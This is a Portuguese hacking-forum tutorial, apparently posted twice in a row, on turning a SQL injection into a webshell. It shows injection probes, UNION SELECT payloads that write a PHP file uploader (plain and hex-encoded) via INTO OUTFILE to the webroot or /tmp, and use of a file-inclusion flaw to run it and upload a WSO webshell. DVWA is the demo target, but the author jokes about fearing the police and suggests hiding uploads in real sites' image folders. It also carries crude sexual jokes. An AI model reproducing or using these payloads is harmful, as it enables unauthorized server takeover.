Olá, colegas de quarto.
Quantas vezes já nos encontramos perguntando a Goku o porquê de tudo, não é verdade? Por que não encontrei o painel administrativo, mesmo depois de trabalhar tanto para conseguir o login e senha?
Pois é, e assim, acabamos desistindo, achando que não há solução. Mas a verdade que você verá agora vai tirar você dessa situação.
O painel de controle nem sempre é tudo. Há outras coisas boas na vida, como a natureza, mulher, amor, vagina, sexo e também a linguagem SQL, que nos permitirá enviar uma webshell para o servidor sem um formulário de upload.
Então, vamos iniciar?
Material necessário
The zoeira never ends.
Agora, vamos entender do que se trata.
Existe o comando INTO OUTFILE do SQL, que complementa o Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e permite salvar o resultado de uma consulta em um arquivo. Sua sintaxe é:
Estou utilizando o Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... neste exemplo. Talvez por medo da polícia, talvez por preguiça. Isso fica a seu critério.
Ok, agora vamos iniciar o ataque, e obter a quantidade de colunas selecionadas. Meus requests:
Note que nos primeiros "and 1=0" que fizemos, o resultado esteve ok. Isso ocorreu porque, na consulta SQL, o DVWA insere aspas antes e depois do valor de "id", assim:
Desta forma, precisamos fechar essa aspa antes de continuar a query. Isso o que fizemos nos 2 últimos requests.
Ok, Vamos usar o ORDER BY para ver quantas colunas temos na tabela atualmente utilizada.
Legal, são 2 colunas, apenas. Demos uma volta e tanto, à toa.
Ok, há grandes chances de termos a mesma quantidade de colunas selecionadas. Portanto:
Tudo certo, pudemos ver nossos números "1" e "2" na página:
Ok, já podemos enviar os arquivos para o servidor. O negócio agora é lembrar que os servidores geralmente bloqueiam URL muito grandes. Logo, precisamos enviar a menor quantidade de dados possível. Mas queremos uma shell completa, então podemos enviar, primeiramente, um formulário de upload.
Este é o nosso formulário:
Mas precisamos Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar..., para incluí-lo mais facilmente na URL e no SELECT. Lembre-se de adicionar um '0x' na frente de todo o código hexadecimal.
Precisamos também saber o caminho do webroot (diretório onde estão os arquivos do site no servidor) desde a raiz. Isso geralmente se vê nas mensagens de erro do PHP, como "Warning: mysql_fetch_array()". Neste caso, encontramos uma mensagem de erro em uma outra página do site, ao tentar incluir um arquivo inexistente. Veja:
Agora, precisamos apenas injetar esse arquivo na URL
Lembre-se de respeitar a quantidade de colunas selecionadas (neste caso, 2).
O nome que escolhi foi "yeswecan.php", e o arquivo ficará em "/var/www/dvwa".
Exemplo:
Agora basta acessar "yeswecan.php" e enviar a sua webshell
Mas, e se...
Hm... merda
Isso significa que o servidor MySQL não possui permissões (CHMOD) para escrever um arquivo nesse diretório. Isso é perfeitamente comum, principalmente em servidores Linux.
Mas nem tudo está perdido
Acontece que há um diretório que todos os usuários possuem direito de escrita! Sim, o diretório temporário!
Em servidores Windows, este diretório costuma ser "C:\Temp", "C:\WINDOWS\Temp" ou "C:\Users\<usuário>\AppData\Local\Temp". Em servidores *nix, costuma ser "/var/tmp" ou, mais comumente, "/tmp".
Neste caso, apenas alteramos o final de nossa consulta, pedindo ao servidor que salve nosso uploader dentro do diretório temporário.
Logo:
Veja o que conseguimos:
Não se deixem levar pelo erro no topo da página. Já estamos com nosso uploader dentro do servidor!
Mas... e agora? O diretório /tmp não é acessível normalmente pelo Apache. O que faremos?
Simples, procuraremos alguma outra vulnerabilidade do tipo LFI (Local File Inclusion) no sistema. Essa vulnerabilidade, apesar de ser muitas vezes ignorada, ainda nos salva bastante!
Ao encontrarmos, basta-nos incluir nosso "/tmp/yeswecan.php"! Veja nosso formulário de upload no topo da página:
Só precisamos escolher uma webshell de nossa preferência (neste caso utilizei a WSO2.5) e um local válido para que seja feito o upload.
Caso você veja mais erros de "Permission denied", você pode escolher outros locais para upload. Eu sugiro diretórios de imagens de notícias, por exemplo.
Como vimos, o nosso uploader retornou um "ok". Vamos então acessar nossa webshell!
Owned.
Quantas vezes já nos encontramos perguntando a Goku o porquê de tudo, não é verdade? Por que não encontrei o painel administrativo, mesmo depois de trabalhar tanto para conseguir o login e senha?
Pois é, e assim, acabamos desistindo, achando que não há solução. Mas a verdade que você verá agora vai tirar você dessa situação.
O painel de controle nem sempre é tudo. Há outras coisas boas na vida, como a natureza, mulher, amor, vagina, sexo e também a linguagem SQL, que nos permitirá enviar uma webshell para o servidor sem um formulário de upload.
Então, vamos iniciar?
Material necessário
- Sua parceira (eu sei que você não tem mulher. Falo da sua mão, mesmo)
The zoeira never ends.
Agora, vamos entender do que se trata.
Existe o comando INTO OUTFILE do SQL, que complementa o Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e permite salvar o resultado de uma consulta em um arquivo. Sua sintaxe é:
SELECT
<dados>
INTO OUTFILE "arquivo";Estou utilizando o Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... neste exemplo. Talvez por medo da polícia, talvez por preguiça. Isso fica a seu critério.
Ok, agora vamos iniciar o ataque, e obter a quantidade de colunas selecionadas. Meus requests:
Código:
id=1 id='1 id=1 and 1=0--+ id=1 and 1=1--+ id=1' and 1=1--+ id=1' and 1=0--+
Código PHP:
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
Ok, Vamos usar o ORDER BY para ver quantas colunas temos na tabela atualmente utilizada.
Código:
id=1' order by 1--+ id=1' order by 100--+ id=1' order by 10--+ id=1' order by 5--+ id=1' order by 3--+ id=1' order by 2--+
Ok, há grandes chances de termos a mesma quantidade de colunas selecionadas. Portanto:
Código:
?id=-1' union all select 1,2--+
Ok, já podemos enviar os arquivos para o servidor. O negócio agora é lembrar que os servidores geralmente bloqueiam URL muito grandes. Logo, precisamos enviar a menor quantidade de dados possível. Mas queremos uma shell completa, então podemos enviar, primeiramente, um formulário de upload.
Este é o nosso formulário:
Código PHP:
<?php if($_SERVER['REQUEST_METHOD']=="POST") { if(move_uploaded_file($_FILES['file']['tmp_name'], $_POST['name'])) { echo 'ok'; } else { echo 'error'; } } else { echo '<form method="post" enctype="multipart/form-data"><input type="file" name="file" /><input type="text" name="name" value="'.dirname(__FILE__).'" /><input type="submit" /></form>'; }
Código:
0x3c3f70687020696628245f5345525645525b27524551554553545f4d4554484f44275d3d3d22504f53542229207b206966286d6f76655f75706c6f616465645f66696c6528245f46494c45535b2766696c65275d5b27746d705f6e616d65275d2c20245f504f53545b276e616d65275d2929207b206563686f20276f6b273b207d20656c7365207b206563686f20276572726f72273b207d207d20656c7365207b206563686f20273c666f726d206d6574686f643d22706f73742220656e63747970653d226d756c7469706172742f666f726d2d64617461223e3c696e70757420747970653d2266696c6522206e616d653d2266696c6522202f3e3c696e70757420747970653d227465787422206e616d653d226e616d65222076616c75653d22272e6469726e616d65285f5f46494c455f5f292e2722202f3e3c696e70757420747970653d227375626d697422202f3e3c2f666f726d3e273b207d
Agora, precisamos apenas injetar esse arquivo na URL
Lembre-se de respeitar a quantidade de colunas selecionadas (neste caso, 2).
O nome que escolhi foi "yeswecan.php", e o arquivo ficará em "/var/www/dvwa".
Código:
?id=1' UNION ALL SELECT 1,uploader_em_hexa INTO OUTFILE "/var/www/dvwa/yeswecan.php";--+
Código:
?id=1' UNION ALL SELECT 1,0x3c3f70687020696628245f5345525645525b27524551554553545f4d4554484f44275d3d3d22504f53542229207b206966286d6f76655f75706c6f616465645f66696c6528245f46494c45535b2766696c65275d5b27746d705f6e616d65275d2c20245f504f53545b276e616d65275d2929207b206563686f20276f6b273b207d20656c7365207b206563686f20276572726f72273b207d207d20656c7365207b206563686f20273c666f726d206d6574686f643d22706f73742220656e63747970653d226d756c7469706172742f666f726d2d64617461223e3c696e70757420747970653d2266696c6522206e616d653d2266696c6522202f3e3c696e70757420747970653d227465787422206e616d653d226e616d65222076616c75653d22272e6469726e616d65285f5f46494c455f5f292e2722202f3e3c696e70757420747970653d227375626d697422202f3e3c2f666f726d3e273b207d INTO OUTFILE "/var/www/dvwa/yeswecan.php";--+
Mas, e se...
Hm... merda
Isso significa que o servidor MySQL não possui permissões (CHMOD) para escrever um arquivo nesse diretório. Isso é perfeitamente comum, principalmente em servidores Linux.
Mas nem tudo está perdido
Acontece que há um diretório que todos os usuários possuem direito de escrita! Sim, o diretório temporário!
Em servidores Windows, este diretório costuma ser "C:\Temp", "C:\WINDOWS\Temp" ou "C:\Users\<usuário>\AppData\Local\Temp". Em servidores *nix, costuma ser "/var/tmp" ou, mais comumente, "/tmp".
Neste caso, apenas alteramos o final de nossa consulta, pedindo ao servidor que salve nosso uploader dentro do diretório temporário.
Código:
?id=1' UNION ALL SELECT 1,uploader_em_hexa INTO OUTFILE "/tmp/yeswecan.php";--+
Código:
?id=1' UNION ALL SELECT 1,0x3c3f70687020696628245f5345525645525b27524551554553545f4d4554484f44275d3d3d22504f53542229207b206966286d6f76655f75706c6f616465645f66696c6528245f46494c45535b2766696c65275d5b27746d705f6e616d65275d2c20245f504f53545b276e616d65275d2929207b206563686f20276f6b273b207d20656c7365207b206563686f20276572726f72273b207d207d20656c7365207b206563686f20273c666f726d206d6574686f643d22706f73742220656e63747970653d226d756c7469706172742f666f726d2d64617461223e3c696e70757420747970653d2266696c6522206e616d653d2266696c6522202f3e3c696e70757420747970653d227465787422206e616d653d226e616d65222076616c75653d22272e6469726e616d65285f5f46494c455f5f292e2722202f3e3c696e70757420747970653d227375626d697422202f3e3c2f666f726d3e273b207d INTO OUTFILE "/tmp/yeswecan.php";--+
Não se deixem levar pelo erro no topo da página. Já estamos com nosso uploader dentro do servidor!
Mas... e agora? O diretório /tmp não é acessível normalmente pelo Apache. O que faremos?
Simples, procuraremos alguma outra vulnerabilidade do tipo LFI (Local File Inclusion) no sistema. Essa vulnerabilidade, apesar de ser muitas vezes ignorada, ainda nos salva bastante!
Ao encontrarmos, basta-nos incluir nosso "/tmp/yeswecan.php"! Veja nosso formulário de upload no topo da página:
Só precisamos escolher uma webshell de nossa preferência (neste caso utilizei a WSO2.5) e um local válido para que seja feito o upload.
Caso você veja mais erros de "Permission denied", você pode escolher outros locais para upload. Eu sugiro diretórios de imagens de notícias, por exemplo.
Como vimos, o nosso uploader retornou um "ok". Vamos então acessar nossa webshell!
Owned.
Comment